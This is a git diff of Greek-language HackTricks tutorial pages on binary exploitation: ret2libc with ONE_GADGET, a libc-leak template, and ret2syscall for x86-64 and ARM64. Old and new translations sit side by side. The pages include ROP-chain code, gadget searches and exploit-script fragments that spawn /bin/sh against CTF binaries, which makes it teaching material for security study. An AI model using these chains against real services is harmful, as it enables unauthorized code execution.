Το τελευταίο ROP (`rop1`) τελείωσε καλώντας ξανά τη συνάρτηση main, οπότε μπορούμε **να εκμεταλλευτούμε ξανά** το **overflow** (γι' αυτό είναι ξανά εδώ το `OFFSET`). Στη συνέχεια, θέλουμε να καλέσουμε το `POP_RDI` δείχνοντας στη **διεύθυνση** του _"/bin/sh"_ (`BINSH`) και να καλέσουμε τη συνάρτηση **system** (`SYSTEM`) επειδή η διεύθυνση του _"/bin/sh"_ θα περάσει ως παράμετρος.\
Τέλος, καλείται η **διεύθυνση της συνάρτησης exit** έτσι ώστε η διαδικασία να **τερματιστεί κανονικά** και να μην παράγεται κανένα συναγερμός.
Το τελευταίο ROP (`rop1`) κατέληξε να καλεί ξανά τη βασική συνάρτηση, οπότε μπορούμε να **εκμεταλλευτούμε ξανά** την **υπερχείλιση** (γι' αυτό το `OFFSET` είναι εδώ ξανά). Στη συνέχεια, θέλουμε να καλέσουμε το `POP_RDI` δείχνοντας στη **διεύθυνση** του _"/bin/sh"_ (`BINSH`) και να καλέσουμε τη συνάρτηση **system** (`SYSTEM`) επειδή η διεύθυνση του _"/bin/sh"_ θα περαστεί ως παράμετρος.\
Τέλος, η **διεύθυνση της συνάρτησης εξόδου** είναι **καλούμενη** ώστε η διαδικασία να **εξέρχεται ωραία** και να μην δημιουργείται καμία ειδοποίηση.
**Με αυτόν τον τρόπο το exploit θα εκτελέσει ένα \_/bin/sh**\_\*\* shell.\*\*
**Με αυτόν τον τρόπο η εκμετάλλευση θα εκτελέσει ένα \_/bin/sh**\_\*\* shell.\*\*
![](<../../../../.gitbook/assets/image (162).png>)
![](<../../../../.gitbook/assets/image (165).png>)
## 4(2)- Χρησιμοποιώντας ONE\_GADGET
## 4(2)- Χρησιμοποιώντας το ONE\_GADGET
Θα μπορούσατε επίσης να χρησιμοποιήσετε το [**ONE\_GADGET** ](https://github.com/david942j/one_gadget)για να αποκτήσετε ένα shell αντί να χρησιμοποιήσετε το **system** και το **"/bin/sh". Το ONE\_GADGET** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο να αποκτήσετε ένα shell χρησιμοποιώντας μόνο μια **διεύθυνση ROP**.\
Ωστόσο, συνήθως υπάρχουν κάποιοι περιορισμοί, οι πιο συνηθισμένοι και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL`. Καθώς ελέγχετε τις τιμές μέσα στο **RSP**, απλά πρέπει να στείλετε μερικές περισσότερες τιμές NULL ώστε ο περιορισμός να αποφευχθεί.
Μπορείτε επίσης να χρησιμοποιήσετε [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) για να αποκτήσετε ένα shell αντί να χρησιμοποιήσετε **system** και **"/bin/sh". ONE\_GADGET** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο να αποκτήσει ένα shell χρησιμοποιώντας μόνο μία **διεύθυνση ROP**.\
Ωστόσο, συνήθως υπάρχουν κάποιες περιορισμοί, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL` Καθώς ελέγχετε τις τιμές μέσα στο **RSP** απλά πρέπει να στείλετε μερικές περισσότερες NULL τιμές ώστε να αποφευχθεί ο περιορισμός.
![](<../../../../.gitbook/assets/image (751).png>)
![](<../../../../.gitbook/assets/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## ΑΡΧΕΙΟ EXPLOIT
## EXPLOIT FILE
Μπορείτε να βρείτε ένα πρότυπο για την εκμετάλλευση αυτής της ευπάθειας εδώ:
Μπορείτε να βρείτε ένα πρότυπο για να εκμεταλλευτείτε αυτήν την ευπάθεια εδώ:
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
## Συνηθισμένα προβλήματα
## Common problems
### MAIN\_PLT = elf.symbols\['main'] δεν βρέθηκε
### MAIN\_PLT = elf.symbols\['main'] not found
Αν το σύμβολο "main" δεν υπάρχει. Τότε μπορείτε να βρείτε πού βρίσκεται ο κώδικας του main:
Εάν το σύμβολο "main" δεν υπάρχει. Τότε μπορείτε να βρείτε πού είναι ο κύριος κώδικας:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
@ -270,9 +271,9 @@ Disassembly of section .text:
```python
MAIN_PLT = 0x401080
```
### Η συνάρτηση Puts δεν βρέθηκε
### Puts not found
Αν το δυαδικό αρχείο δεν χρησιμοποιεί τη συνάρτηση Puts, πρέπει να ελέγξετε αν χρησιμοποιεί
Αν το δυαδικό αρχείο δεν χρησιμοποιεί Puts, θα πρέπει να ελέγξετε αν χρησιμοποιεί
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
@ -282,16 +283,17 @@ MAIN_PLT = 0x401080
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Διαρροή libc - πρότυπο
# Leaking libc - template
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε AWS χάκινγκ από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή την [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
@ -204,11 +205,11 @@ P.interactive() #Interact with your shell :)
```
{% endcode %}
## Συνηθισμένα προβλήματα
## Κοινά προβλήματα
### MAIN\_PLT = το elf.symbols\['main'] δεν βρέθηκε
### MAIN\_PLT = elf.symbols\['main'] δεν βρέθηκε
Αν το σύμβολο "main" δεν υπάρχει (πιθανότατα λόγω του ότι πρόκειται για ένα απογυμνωμένο δυαδικό αρχείο). Τότε μπορείτε απλά να βρείτε πού βρίσκεται ο κώδικας του main:
Αν το σύμβολο "main" δεν υπάρχει (πιθανώς επειδή είναι ένα απογυμνωμένο δυαδικό). Τότε μπορείτε απλά να βρείτε πού είναι ο κύριος κώδικας:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
@ -218,15 +219,15 @@ Disassembly of section .text:
```python
MAIN_PLT = 0x401080
```
### Δεν βρέθηκε η συνάρτηση Puts
### Puts not found
Αν το δυαδικό αρχείο δεν χρησιμοποιεί τη συνάρτηση Puts, πρέπει **να ελέγξετε αν χρησιμοποιεί**
Αν το δυαδικό αρχείο δεν χρησιμοποιεί Puts θα πρέπει να **ελέγξετε αν χρησιμοποιεί**
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
Αν εμφανιστεί αυτό το **σφάλμα** μετά τη δημιουργία **όλου** του exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Αν βρείτε αυτό το **σφάλμα** μετά τη δημιουργία **όλων** των exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Προσπαθήστε να **αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh"**:
Δοκιμάστε να **αφαιρέσετε 64 bytes από τη διεύθυνση του "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
@ -235,16 +236,17 @@ BINSH = next(libc.search("/bin/sh")) - 64
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Ret2syscall
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Βασικές Πληροφορίες
Αυτό είναι παρόμοιο με το Ret2lib, ωστόσο, σε αυτήν την περίπτωση δεν θα καλέσουμε μια συνάρτηση από μια βιβλιοθήκη. Σε αυτήν την περίπτωση, όλα θα είναι προετοιμασμένα για να καλέσουν το syscall `sys_execve` με μερικά ορίσματα για να εκτελέσουν το `/bin/sh`. Αυτή η τεχνική συνήθως εκτελείται σε δυαδικά που έχουν μεταγλωττιστεί στατικά, οπότε μπορεί να υπάρχουν πολλά gadgets και εντολές syscall.
Για να προετοιμάσουμε την κλήση για το **syscall** απαιτείται η ακόλουθη διαμόρφωση:
* `rax: 59 Καθορίστε το sys_execve`
* `rdi: δείκτης προς "/bin/sh" καθορίστε το αρχείο προς εκτέλεση`
* `rsi: 0 καθορίστε ότι δεν περνούν ορίσματα`
* `rdx: 0 καθορίστε ότι δεν περνούν μεταβλητές περιβάλλοντος`
Έτσι, βασικά απαιτείται να γράψουμε τη συμβολοσειρά `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (έχοντας υπόψη το padding που απαιτείται για τον έλεγχο του stack). Γι' αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το `/bin/sh` σε μια γνωστή περιοχή.
{% hint style="success" %}
Ένα άλλο ενδιαφέρον syscall που μπορεί να κληθεί είναι το **`mprotect`** το οποίο θα επιτρέψει σε έναν εισβολέα να **τροποποιήσει τις άδειες μιας σελίδας στη μνήμη**. Αυτό μπορεί να συνδυαστεί με το [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
{% endhint %}
## Gadgets Εγγραφής
## Basic Information
Αυτό είναι παρόμοιο με το Ret2lib, ωστόσο, σε αυτή την περίπτωση δεν θα καλούμε μια συνάρτηση από μια βιβλιοθήκη. Σε αυτή την περίπτωση, όλα θα είναι προετοιμασμένα για να καλέσουμε το syscall `sys_execve` με ορισμένα επιχειρήματα για να εκτελέσουμε το `/bin/sh`. Αυτή η τεχνική συνήθως εκτελείται σε δυαδικά αρχεία που είναι στατικά μεταγλωττισμένα, οπότε μπορεί να υπάρχουν πολλά gadgets και εντολές syscall.
Για να προετοιμάσουμε την κλήση για το **syscall** απαιτείται η εξής διαμόρφωση:
* `rax: 59 Specify sys_execve`
* `rdi: ptr to "/bin/sh" specify file to execute`
* `rsi: 0 specify no arguments passed`
* `rdx: 0 specify no environment variables passed`
Έτσι, βασικά χρειάζεται να γράψουμε τη συμβολοσειρά `/bin/sh` κάπου και στη συνέχεια να εκτελέσουμε το `syscall` (είναι σημαντικό να είμαστε προσεκτικοί με το padding που απαιτείται για τον έλεγχο της στοίβας). Για αυτό, χρειαζόμαστε ένα gadget για να γράψουμε το `/bin/sh` σε μια γνωστή περιοχή.
{% hint style="success" %}
Μια άλλη ενδιαφέρουσα syscall για κλήση είναι η **`mprotect`** που θα επέτρεπε σε έναν επιτιθέμενο να **τροποποιήσει τα δικαιώματα μιας σελίδας στη μνήμη**. Αυτό μπορεί να συνδυαστεί με [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
{% endhint %}
## Register gadgets
Ας ξεκινήσουμε βρίσκοντας **πώς να ελέγξουμε αυτούς τους καταχωρητές**:
```bash
@ -41,13 +42,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
Με αυτές τις διευθύνσεις είναι δυνατόν να **γραφτεί το περιεχόμενο στο stack και να φορτωθεί στους registries**.
Με αυτές τις διευθύνσεις είναι δυνατόν να **γράψετε το περιεχόμενο στη στοίβα και να το φορτώσετε στους καταχωρητές**.
## Γράψτε συμβολοσειρά
### Εγγράψιμη μνήμη
### Γραφική μνήμη
Πρώτα πρέπει να βρείτε ένα εγγράψιμο μέρος στη μνήμη
Πρώτα πρέπει να βρείτε ένα γράψιμο μέρος στη μνήμη
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@ -56,21 +57,19 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
### Γράψτε Συμβολοσειρά στη μνήμη
### Γράψτε συμβολοσειρά στη μνήμη
Στη συνέχεια, πρέπει να βρείτε έναν τρόπο για να γράψετε τυχαίο περιεχόμενο σε αυτήν τη διεύθυνση.
Τότε πρέπει να βρείτε έναν τρόπο να γράψετε αυθαίρετο περιεχόμενο σε αυτή τη διεύθυνση
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### Αυτοματοποίηση ROP αλυσίδας
### Αυτοματοποίηση αλυσίδας ROP
Η παρακάτω εντολή δημιουργεί μια πλήρη ROP αλυσίδα `sys_execve` δεδομένου ενός στατικού δυαδικού όταν υπάρχουν γκατζέτ γραφής-τι-που-θέλω και εντολές συστήματος κλήσης:
Η παρακάτω εντολή δημιουργεί μια πλήρη αλυσίδα ROP `sys_execve` δεδομένου ενός στατικού δυαδικού αρχείου όταν υπάρχουν gadgets write-what-where και εντολές syscall:
```bash
ROPgadget --binary vuln --ropchain
```
#### 32 bits
#### 32 bits
```python
'''
@ -93,8 +92,6 @@ rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
#### 64 bits
#### 64 bits
```python
'''
@ -111,13 +108,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## Έλλειψη Gadgets
## Lacking Gadgets
Αν σας λείπουν **gadgets**, για παράδειγμα για να γράψετε `/bin/sh` στη μνήμη, μπορείτε να χρησιμοποιήσετε την τεχνική **SROP για να ελέγξετε όλες τις τιμές των registries** (συμπεριλαμβανομένων των RIP και των registries παραμέτρων) από το stack:
Αν **λείπουν gadgets**, για παράδειγμα για να γράψετε `/bin/sh` στη μνήμη, μπορείτε να χρησιμοποιήσετε την **τεχνική SROP για να ελέγξετε όλες τις τιμές των καταχωρητών** (συμπεριλαμβανομένων των RIP και των παραμέτρων καταχωρητών) από τη στοίβα:
{% content-ref url="../srop-sigreturn-oriented-programming/" %}
[srop-sigreturn-oriented-programming](../srop-sigreturn-oriented-programming/)
{% endcontent-ref %}
## Exploit Example
```python
from pwn import *
@ -187,8 +186,23 @@ target.interactive()
## Άλλα Παραδείγματα & Αναφορές
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
* 64 bits, χωρίς PIE, nx, εγγραφή σε κάποια μνήμη ενός ROP για να καλέσει το `execve` και να μεταβεί εκεί.
* 64 bits, no PIE, nx, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το `execve` και να μεταβείτε εκεί.
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
* 64 bits, nx, χωρίς PIE, εγγραφή σε κάποια μνήμη ενός ROP για να καλέσει το `execve` και να μεταβεί εκεί. Για να γραφτεί στη στοίβα μια λειτουργία που εκτελεί μαθηματικές πράξεις καταχρηστεύεται.
* 64 bits, nx, no PIE, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το `execve` και να μεταβείτε εκεί. Για να γράψετε στη στοίβα, εκμεταλλεύεστε μια συνάρτηση που εκτελεί μαθηματικές πράξεις.
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
* 64 bits, χωρίς PIE, nx, BF canary, εγγραφή σε κάποια μνήμη ενός ROP για να καλέσει το `execve` και να μεταβεί εκεί.
* 64 bits, no PIE, nx, BF canary, γράψτε σε κάποια μνήμη ένα ROP για να καλέσετε το `execve` και να μεταβείτε εκεί.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Ret2syscall - ARM64
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Βρείτε μια εισαγωγή στο arm64 στο:
@ -45,20 +46,20 @@ vulnerable_function();
return 0;
}
```
Μεταγλώττιση χωρίς pie και canary:
Συγκεντρώστε χωρίς pie και canary:
```bash
clang -o ret2win ret2win.c -fno-stack-protector
```
## Gadgets
Για να προετοιμάσετε την κλήση για το **syscall** απαιτείται η παρακάτω διαμόρφωση:
Για να προετοιμάσετε την κλήση για το **syscall**, απαιτείται η εξής διαμόρφωση:
* `x8: 221 Καθορίστε το sys_execve`
* `x0: δείκτης προς "/bin/sh" καθορίστε το αρχείο προς εκτέλεση`
* `x1: 0 καθορίστε ότι δεν περνιούνται παράμετροι`
* `x2: 0 καθορίστε ότι δεν περνιούνται μεταβλητές περιβάλλοντος`
* `x8: 221 Specify sys_execve`
* `x0: ptr to "/bin/sh" specify file to execute`
* `x1: 0 specify no arguments passed`
* `x2: 0 specify no environment variables passed`
Χρησιμοποιώντας το ROPgadget.py κατάφερα να εντοπίσω τα παρακάτω gadgets στη βιβλιοθήκη libc της μηχανής:
Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
{% code overflow="wrap" %}
```armasm
@ -79,13 +80,13 @@ svc #0
```
{% endcode %}
